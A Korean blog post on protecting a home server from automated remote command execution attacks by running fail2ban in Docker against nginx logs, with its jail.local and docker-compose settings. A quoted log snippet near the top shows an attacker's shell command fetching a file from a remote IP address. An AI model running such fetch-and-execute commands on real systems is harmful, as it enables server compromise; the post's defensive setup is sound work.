728x90
https://tomhoon.tistory.com/881
웹 서버 자동화 공격 방어(Remote Command Execution (RCE) attack, nginx, cloudflare, fail2ban 셋팅)
홈서버에 이상한 로그가 쌓이길래 보았더니아래와 같은 명령어가 계속 쌓였다. : [Error: spawnSync /bin/sh ENOBUFS] { : -105, : 'ENOBUFS', : 'spawnSync /bin/sh', : '/bin/sh', : [ c', -q http://221.156.167.200:9090/js/grepb32.txt
tomhoon.tistory.com
홈서버에 RCE 공격이 계속 들어와 방어를 위해 셋팅을 하고 있다.
그 중 fail2ban을 통해 설정에 따라 요청 차단을 시켜주려고 한다.
nginx로그를 보고 탐지하여
알아서 차단해준다.
nginx는 홈브루
fail2ban은 컨테이너로 설정한다.
1. docker container 볼륨으로 잡을 디렉토리 및 파일 생성
mkdir -p ~/fail2ban/data
touch ~/fail2ban/data/jail.local
2. ban할 설정값 셋팅
[DEFAULT]
bantime = 1h
findtime = 10m
maxretry = 10
[nginx-badbots]
enabled = true
port = http,https
filter = nginx-badbots
logpath = /var/log/nginx/access.log
[nginx-http-auth]
enabled = true
port = http,https
logpath = /var/log/nginx/error.log
3. docker-compose.yml
services:
fail2ban:
image: crazymax/fail2ban:latest
container_name: fail2ban
network_mode: host
cap_add:
- NET_ADMIN
- NET_RAW
volumes:
- ~/fail2ban/data:/data
- /opt/homebrew/var/log/nginx:/var/log/nginx:ro
restart: always
'서버' 카테고리의 다른 글
| 마이바티스 에러 해결 org.apache.ibatis.binding.BindingException: Invalid bound statement (not found) (0) | 2026.05.14 |
|---|---|
| docker container mariadb 데이터 그대로 다른 서버에 옮기기 (0) | 2026.05.12 |
| 웹 서버 자동화 공격 방어(Remote Command Execution (RCE) attack, nginx, cloudflare, fail2ban 셋팅) (1) | 2026.05.07 |
| 웹 서버 자동화 공격 방어 (CloudFlare 도메인 연결) (0) | 2026.05.04 |
| mac mini 서버 사용시 최적화를 위해 off 시킬 프로그램 (0) | 2026.04.30 |